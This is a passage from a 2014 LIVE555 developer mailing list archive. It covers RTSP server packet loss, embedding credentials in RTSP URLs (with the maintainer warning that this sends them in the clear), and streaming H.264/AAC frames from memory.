ServerMediaSession have 1 client connected, the packet loss is large. ServerMediaSession* sms = ServerMediaSession::createNew(*env, streamName, streamName, descriptionString); sms->addSubsession(H264VideoFileServerMediaSubsession ::createNew(*env, inputFileName, reuseFirstSource)); rtspServer->addServerMediaSession(sms); ServerMediaSession* sms2 = ServerMediaSession::createNew(*env, streamName2, streamName2, descriptionString); sms2->addSubsession(H264VideoFileServerMediaSubsession ::createNew(*env, inputFileName, reuseFirstSource)); rtspServer->addServerMediaSession(sms2); can you help me explain and fix this problem? Thank you -------------- next part -------------- An HTML attachment was scrubbed... URL: From finlayson at live555.com Mon Jul 28 19:42:44 2014 From: finlayson at live555.com (Ross Finlayson) Date: Mon, 28 Jul 2014 22:42:44 -0400 Subject: [Live-devel] RTSP Server lost packet when stream multi-file. In-Reply-To: References: Message-ID: <4DD5DA50-7BC4-4F4A-B156-83716EF91157@live555.com> > can you help me explain and fix this problem? What is the value of "reuseFirstSource" in your application? Ross Finlayson Live Networks, Inc. http://www.live555.com/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From yueyanbin at vimicro.com Mon Jul 28 21:17:41 2014 From: yueyanbin at vimicro.com (yueyanbin at vimicro.com) Date: Tue, 29 Jul 2014 12:17:41 +0800 Subject: [Live-devel] How to mke a URL with username & password? Message-ID: <201407291217411017518@vimicro.com> Hello everyone: If I use the Authentication in the rtspsverver (as define ACCESS_CONTROL in testOnDemandRTSPServer.cpp), how could I make the url with the user name and password? We use the testOnDemandRTSPServer as rtsp server, and vlc as the client, use the url rtsp://IP:port/test.h264 to play, then vlc show a username & password input dialog. Even we use the url rtsp://IP:port/test.h264&user=username&password=password to play, the input dialog show all the same. Could anyone tell me how to make the url with username & password? Thanks yueyanbin at vimicro.com -------------- next part -------------- An HTML attachment was scrubbed... URL: From finlayson at live555.com Tue Jul 29 02:01:01 2014 From: finlayson at live555.com (Ross Finlayson) Date: Tue, 29 Jul 2014 05:01:01 -0400 Subject: [Live-devel] How to mke a URL with username & password? In-Reply-To: <201407291217411017518@vimicro.com> References: <201407291217411017518@vimicro.com> Message-ID: <93773632-DEAD-46DB-BDA2-8B2AEB655CCE@live555.com> > If I use the Authentication in the rtspsverver (as define ACCESS_CONTROL in testOnDemandRTSPServer.cpp), how could I make the url with the user name and password? > We use the testOnDemandRTSPServer as rtsp server, and vlc as the client, use the url rtsp://IP:port/test.h264 to play, then vlc show a username & password input dialog. > Even we use the url rtsp://IP:port/test.h264&user=username&password=password to play, the input dialog show all the same. > > Could anyone tell me how to make the url with username & password? "rtsp://username:password at IP:port/test.264" should work. (Note that "testOnDemandRTSPServer" uses "test.264", not "test.h264" as the stream name.) I don't recommend this, however, because the user name and password will be sent over the Internet 'in the clear'. It's better to omit the username and password, and let VLC's GUI pop up a dialog for you to enter these; then they won't get sent over the Internet. Ross Finlayson Live Networks, Inc. http://www.live555.com/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From yueyanbin at vimicro.com Tue Jul 29 02:31:52 2014 From: yueyanbin at vimicro.com (yueyanbin at vimicro.com) Date: Tue, 29 Jul 2014 17:31:52 +0800 Subject: [Live-devel] How to mke a URL with username & password? References: <201407291217411017518@vimicro.com>, <93773632-DEAD-46DB-BDA2-8B2AEB655CCE@live555.com> Message-ID: <2014072917315228465017@vimicro.com> Hello Ross, Thanks for your reply! There is another question, how could we support the url format rtsp://IP:port/test.264&user=username&password=password ? When I use another IP Camera, I could use a url like rtsp://IP:port/type=0&id=1&user=username&password=password to play the stream with vlc. Need we to modify the funtion authenticationOK ? yueyanbin at vimicro.com From: Ross Finlayson Date: 2014-07-29 17:01 To: LIVE555 Streaming Media - development & use Subject: Re: [Live-devel] How to mke a URL with username & password? If I use the Authentication in the rtspsverver (as define ACCESS_CONTROL in testOnDemandRTSPServer.cpp), how could I make the url with the user name and password? We use the testOnDemandRTSPServer as rtsp server, and vlc as the client, use the url rtsp://IP:port/test.h264 to play, then vlc show a username & password input dialog. Even we use the url rtsp://IP:port/test.h264&user=username&password=password to play, the input dialog show all the same. Could anyone tell me how to make the url with username & password? "rtsp://username:password at IP:port/test.264" should work. (Note that "testOnDemandRTSPServer" uses "test.264", not "test.h264" as the stream name.) I don't recommend this, however, because the user name and password will be sent over the Internet 'in the clear'. It's better to omit the username and password, and let VLC's GUI pop up a dialog for you to enter these; then they won't get sent over the Internet. Ross Finlayson Live Networks, Inc. http://www.live555.com/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From finlayson at live555.com Tue Jul 29 02:38:20 2014 From: finlayson at live555.com (Ross Finlayson) Date: Tue, 29 Jul 2014 05:38:20 -0400 Subject: [Live-devel] How to mke a URL with username & password? In-Reply-To: <2014072917315228465017@vimicro.com> References: <201407291217411017518@vimicro.com>, <93773632-DEAD-46DB-BDA2-8B2AEB655CCE@live555.com> <2014072917315228465017@vimicro.com> Message-ID: <10D168EE-26D0-4FAB-B592-3839240A84FA@live555.com> > There is another question, how could we support the url format rtsp://IP:port/test.264&user=username&password=password ? Our RTSP server implementation does not support this. Sorry. Ross Finlayson Live Networks, Inc. http://www.live555.com/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From lkxkfl at hotmail.com Wed Jul 30 00:11:55 2014 From: lkxkfl at hotmail.com (Xuan) Date: Wed, 30 Jul 2014 15:11:55 +0800 Subject: [Live-devel] What to do if data not coming while streaming from memory Message-ID: Hi, H.264 and AAC frames are generated and put into 2 CLists in memory. Two classes are implemented to get frames from memory, live this: void ADTSRealTimeStreamSource::doGetNextFrame() { if(fAVPktList->empty()){ //if no frames in CList, sleep until CList is not empty. clock_t loopStart,loopEnd,interval= 0; clock_t begin = clock(); while(fAVPktList->empty()) { loopStart = clock(); Sleep(WAITING_TIME_IN_LOOP); loopEnd = clock(); interval += (loopEnd-loopStart); if(interval>60000) break; } clock_t end = clock(); int num = fAVPktList->size(); if(!num) { handleClosure(); return; } } ... } Maybe the speed of streaming frames is much faster than the speed of generating frames. So when function "doGetNextFrame()" is called, no frame is put into memory. If I use sleep() to wait for frames, thread blocks and streaming AAC frames slowns down. So What should I do to ensure both AAC and H.264 to streamed well when no frames come? Thanks for your reply! -------------- next part -------------- An HTML attachment was scrubbed... URL: